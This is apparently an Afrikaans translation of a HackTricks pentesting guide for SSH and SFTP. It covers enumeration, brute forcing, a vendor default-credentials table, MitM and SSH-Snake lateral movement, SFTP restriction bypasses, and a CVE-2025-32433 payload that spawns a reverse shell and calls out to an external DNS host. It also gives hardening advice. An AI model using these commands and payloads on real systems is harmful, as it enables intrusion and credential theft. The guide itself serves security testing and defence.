24 KiB
22 - Pentesting SSH/SFTP
{{#include ../banners/hacktricks-training.md}}
Basiese Inligting
SSH (Secure Shell or Secure Socket Shell) is 'n netwerkprotokol wat 'n veilige verbinding tot 'n rekenaar oor 'n ongesekureerde netwerk moontlik maak. Dit is noodsaaklik om die vertroulikheid en integriteit van data te handhaaf wanneer toegang tot afstandstelsels verkry word.
Standaardpoort: 22
22/tcp open ssh syn-ack
SSH servers:
- openSSH – OpenBSD SSH, ingesluit in BSD, Linux-verspreidings en Windows sedert Windows 10
- Dropbear – SSH-implementering vir omgewings met lae geheue- en verwerkerhulpbronne, ingesluit in OpenWrt
- PuTTY – SSH-implementering vir Windows, die kliënt word algemeen gebruik, maar die gebruik van die bediener is minder algemeen
- CopSSH – implementering van OpenSSH vir Windows
SSH libraries (implementing server-side):
- libssh – veelplatform C-biblioteek wat die SSHv2-protokol implementeer met bindings in Python, Perl en R; dit word deur KDE gebruik vir sftp en deur GitHub vir die git SSH-infrastruktuur
- wolfSSH – SSHv2-bedienerbiblioteek geskryf in ANSI C en gemik op ingebedde, RTOS en hulpbron-beperkte omgewings
- Apache MINA SSHD – Apache SSHD java library is based on Apache MINA
- paramiko – Python SSHv2-protokolbiblioteek
Enumerasie
Banner Grabbing
nc -vn <IP> 22
Outomatiese ssh-audit
ssh-audit is 'n hulpmiddel vir die ouditering van ssh server- en client-konfigurasies.
https://github.com/jtesta/ssh-audit is 'n bygewerkte fork van https://github.com/arthepsy/ssh-audit/
Kenmerke:
- Ondersteuning vir SSH1- en SSH2-protokolle;
- Ontleed SSH client-konfigurasie;
- Haal banner, herken toestel of sagteware en bedryfstelsel, detecteer kompressie;
- Versamel key-exchange, host-key, encryption en message authentication code algoritmes;
- Gee algoritme-inligting uit (beskikbaar sedert, verwyder/gedeaktiveer, onveilig/swak/legacy, ens.);
- Gee algoritme-aanbevelings uit (voeg by of verwyder gebaseer op erkende sagtewareweergawe);
- Gee sekuriteitsinligting uit (verwante probleme, toegewezen CVE-lys, ens.);
- Analiseer SSH-weergawes se verenigbaarheid gebaseer op algoritme-inligting;
- Historiese inligting van OpenSSH, Dropbear SSH en libssh;
- Draai op Linux en Windows;
- Geen afhanklikhede
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Publieke SSH-sleutel van die server
ssh-keyscan -t rsa <IP> -p <PORT>
Swak kriptografiese algoritmes
Dit word standaard deur nmap ontdek. Maar jy kan ook sslcan of sslyze gebruik.
Nmap scripts
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
In sommige weergawes van OpenSSH kan jy 'n timing attack uitvoer om users te enumerate. Jy kan 'n metasploit module gebruik om dit te exploit:
msf> use scanner/ssh/ssh_enumusers
Brute force
Sommige algemene ssh credentials here and here en hieronder.
Private Key Brute Force
As jy sommige ssh private keys ken wat gebruik kan word... kom ons probeer dit. Jy kan die nmap script gebruik:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Of die MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
Of gebruik ssh-keybrute.py
(native python3, liggewig en het legacy-algoritmes aangeskakel): snowdroppe/ssh-keybrute.
Bekende badkeys kan hier gevind word:
{{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}}
Swak SSH-sleutels / Debian voorspelbare PRNG
Sommige stelsels het bekende foute in die ewekansige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat bruteforced kan word. Vooraf-gegenereerde stelle sleutels wat op Debian-stelsels gegenereer is en deur die swak PRNG geraak is, is hier beskikbaar: g0tmi1k/debian-ssh.
Jy behoort hier te kyk om geldige sleutels vir die slagofferrekenaar te soek.
Kerberos / GSSAPI SSO
As die teiken-SSH-bediener GSSAPI ondersteun (byvoorbeeld Windows OpenSSH op 'n domain controller), kan jy authentiseer met jou Kerberos TGT in plaas van 'n wagwoord.
Werkvloei vanaf 'n Linux aanvallermasjien:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Notes:
- As jy met die verkeerde naam koppel (bv. kort gasheer, alias, of verkeerde volgorde in
/etc/hosts
), kan jy die fout kry: "Server not found in Kerberos database" omdat die SPN nie ooreenstem nie. crackmapexec ssh --kerberos
kan ook jou ccache vir Kerberos-auth gebruik.
Standaard Kredensiële
Verskaffer | Gebruikersname | Wagwoorde |
---|---|---|
APC | apc, device | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, user | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
As jy in die plaaslike netwerk is en die slagoffer gaan met gebruikersnaam en wagwoord na die SSH-bediener koppel, kan jy probeer om 'n MitM-aanval uit te voer om daardie kredensiële te steel:
Aanvals-pad:
- Traffic Redirection: Die aanvaller lei die slagoffer se verkeer om na hul masjien, en onderskep dus die verbindingspoging na die SSH-bediener.
- Interception and Logging: Die aanvaller se masjien tree op as 'n proxy en kap die gebruiker se aanmeldbesonderhede deur voor te gee dat dit die regte SSH-bediener is.
- Command Execution and Relay: Laastens log die aanvaller se bediener die gebruiker se kredensiële, stuur die opdragte deur na die werklike SSH-bediener, voer dit uit, en stuur die resultate terug aan die gebruiker, wat die proses na aan die oog laat voorkom.
SSH MITM doen presies soos hierbo beskryf.
Om die MitM werklik uit te voer, kan jy tegnieke soos ARP spoofing, DNS spoofing of ander wat in die Network Spoofing attacks beskryf word, gebruik.
SSH-Snake
As jy 'n netwerk wil deurgang deur gevonde SSH private keys op stelsels te gebruik, en elke private sleutel op elke stelsel vir nuwe gashere te probeer, dan is SSH-Snake wat jy nodig het.
SSH-Snake voer die volgende take outomaties en rekursief uit:
- Op die huidige stelsel, vind enige SSH private keys,
- Op die huidige stelsel, vind enige gashere of bestemmings (user@host) waar die private sleutels aanvaar kan word,
- Probeer om in te SSH na al die bestemmings met al die gevonde private sleutels,
- As 'n bestemming suksesvol bereik word, herhaal dit stappe #1 - #4 op die gekonnekteerde stelsel.
Dit is heeltemal self-replikerend en self-propagërend — en heeltemal fileless.
Konfigurasiefoute
Root-aanmelding
Dit is algemeen dat SSH-bedieners standaard root-gebruiker aanmelding toelaat, wat 'n beduidende sekuriteitsrisiko vorm. Om root-aanmelding uit te skakel is 'n kritieke stap om die bediener te beveilig. Ongemagtigde toegang met administratiewe regte en brute-force-aanvalle kan met hierdie verandering gemilder word.
Om Root-aanmelding in OpenSSH uit te skakel:
- Edit die SSH-konfigurasielêer met:
sudoedit /etc/ssh/sshd_config
- Verander die instelling van
#PermitRootLogin yes
naPermitRootLogin no
. - Herlaai die konfigurasie met:
sudo systemctl daemon-reload
- Herbegin die SSH-bediener om die veranderinge toe te pas:
sudo systemctl restart sshd
SFTP Brute Force
SFTP opdrag-uitvoering
Daar is 'n algemene oorhoofse fout in SFTP-opstellings waar administrateurs beoog dat gebruikers lêers kan ruil sonder om remote shell-toegang toe te laat. Ondanks dat gebruikers met nie-interaktiewe shells (bv. /usr/bin/nologin
) ingestel is en tot 'n spesifieke gids beperk is, bly daar 'n sekuriteitsleemte. Gebruikers kan hierdie beperkings omseil deur die uitvoering van 'n opdrag (soos /bin/bash
) onmiddellik na aanmelding te versoek, voordat hul aangewese nie-interaktiewe shell oorneem. Dit maak ongemagtigde opdrag-uitvoering moontlik en ondermyn die beoogde sekuriteitsmaatreëls.
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Hier is 'n voorbeeld van 'n veilige SFTP-konfigurasie (/etc/ssh/sshd_config
– openSSH) vir die gebruiker noraj
:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Hierdie konfigurasie sal slegs SFTP toelaat: dit skakel shell-toegang uit deur die start command af te dwing en TTY-toegang te deaktiveer, maar dit skakel ook alle vorme van port forwarding of tunneling uit.
SFTP Tunneling
As jy toegang het tot 'n SFTP-server, kan jy jou verkeer ook hierdeur tunnel, byvoorbeeld deur die algemene port forwarding te gebruik:
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
Die sftp het die opdrag "symlink". Daarom, as jy writable rights in 'n bepaalde gids het, kan jy symlinks van ander gidse/lêers skep. Aangesien jy waarskynlik binne 'n chroot vasgevang is, sal dit vir jou nie besonder nuttig wees nie, maar as jy toegang tot die geskepte symlink vanaf 'n no-chroot service kan kry (byvoorbeeld as jy die symlink vanaf die web kan bereik), kan jy die symlinked files deur die web oopmaak.
Byvoorbeeld, om 'n symlink te skep van 'n nuwe lêer "froot" na "/":
sftp> symlink / froot
As jy toegang tot die lêer "froot" via die web het, kan jy die root ("/")-gids van die stelsel lys.
Verifikasie-metodes
In 'n omgewing met hoë sekuriteit is dit algemeen om slegs sleutel-gebaseerde of tweefaktor-verifikasie te aktiveer eerder as die enkel-faktor wagwoordgebaseerde verifikasie. Maar dikwels word die sterker verifikasiemetodes geaktiveer sonder om die swakker een uit te skakel. 'n Gereelde geval is om publickey
in die openSSH-konfigurasie te aktiveer en dit as die verstekmetode te stel, maar nie password
uit te skakel nie. Deur die verbose-modus van die SSH-kliënt te gebruik, kan 'n aanvaller sien dat 'n swakker metode geaktiveer is:
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Byvoorbeeld, as 'n authentication failure limit gestel is en jy nooit die kans kry om die password method te bereik nie, kan jy die PreferredAuthentications
-opsie gebruik om hierdie metode af te dwing.
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Dit is nodig om die SSH-bediener se konfigurasie te hersien om te kontroleer dat slegs verwagte metodes gemagtig is. Om die uitgebreide modus op die kliënt te gebruik, kan help om die doeltreffendheid van die konfigurasie te bepaal.
Konfigurasielêers
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Authentication State-Machine Bypass (Pre-Auth RCE)
Verskeie SSH-serverimplementasies bevat logiese foute in die authentication finite-state machine wat 'n kliënt toelaat om connection-protocol boodskappe te stuur voordat authenticatie voltooi is. Omdat die bediener versuim om te verifieer dat dit in die korrekte toestand is, word daardie boodskappe hanteer asof die gebruiker ten volle geauthentiseer is, wat kan lei tot unauthenticated code execution of sessieskepping.
Op protokolvlak behoort enige SSH-boodskap met 'n message code ≥ 80 (0x50) tot die connection laag (RFC 4254) en moet slegs aanvaar word ná suksesvolle authenticatie (RFC 4252). As die bediener een van daardie boodskappe verwerk terwyl dit nog in die SSH_AUTHENTICATION toestand is, kan die aanvaller onmiddellik 'n kanaal skep en aksies versoek soos command execution, port-forwarding, ens.
Generiese uitbuitingstappe
- Stel 'n TCP-verbinding na die teiken se SSH-poort op (gewoonlik 22, maar ander dienste mag Erlang/OTP op 2022, 830, 2222… blootstel).
- Stel 'n rou SSH-pakket saam:
- 4-byte packet_length (big-endian)
- 1-byte message_code ≥ 80 (e.g.
SSH_MSG_CHANNEL_OPEN
= 90,SSH_MSG_CHANNEL_REQUEST
= 98) - Payload wat deur die gekose boodskaptipe verstaan sal word
- Stuur die pakket(te) voordat enige authenticatiestap voltooi is.
- Interageer met die bediener-API's wat nou pre-auth blootgestel is (command execution, port forwarding, file-system access, …).
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
In die praktyk sal jy die key-exchange volgens die teiken-implementasie moet uitvoer (of oorslaan), maar no authentication word nooit uitgevoer nie.
Erlang/OTP sshd
(CVE-2025-32433)
- Geaffekteerde weergawes: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Worteloorsaak: die Erlang native SSH daemon valideer nie die huidige toestand voordat dit
ssh_connection:handle_msg/2
aanroep nie. Daarom bereik enige pakket met 'n boodskapkode 80-255 die konneksiebehandelaar terwyl die sessie nog in die userauth toestand is. - Impak: unauthenticated remote code execution (the daemon usually runs as root on embedded/OT devices).
Voorbeeld payload wat 'n reverse shell spawn gebind aan die attacker-controlled channel:
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection kan via DNS uitgevoer word:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
Opsporing & Mitigering:
- Inspect SSH traffic: verwerp enige pakket met boodskapkode ≥ 80 wat voor verifikasie waargeneem word.
- Opgradeer Erlang/OTP na 27.3.3 / 26.2.5.11 / 25.3.2.20 of nuwer.
- Beperk blootstelling van bestuursporte (22/2022/830/2222) – veral op OT-toerusting.
Ander implementasies aangetas
- libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – aanvaar
SSH_MSG_USERAUTH_SUCCESS
wat nie-geauthentiseerd deur die kliënt gestuur is, effektief die omgekeerde logika-fout.
Die algemene les is dat enige afwijking van die RFC-voorgeskrewe toestandsoorgange katastrofaal kan wees; wanneer jy SSH-daemons hersien of fuzzing uitvoer, gee besondere aandag aan staatmasjienhandhawing.
Verwysings
- Unit 42 – Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) – client setup and troubleshooting
- 0xdf – HTB: TheFrizz
HackTricks Outomatiese Opdragte
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
{{#include ../banners/hacktricks-training.md}}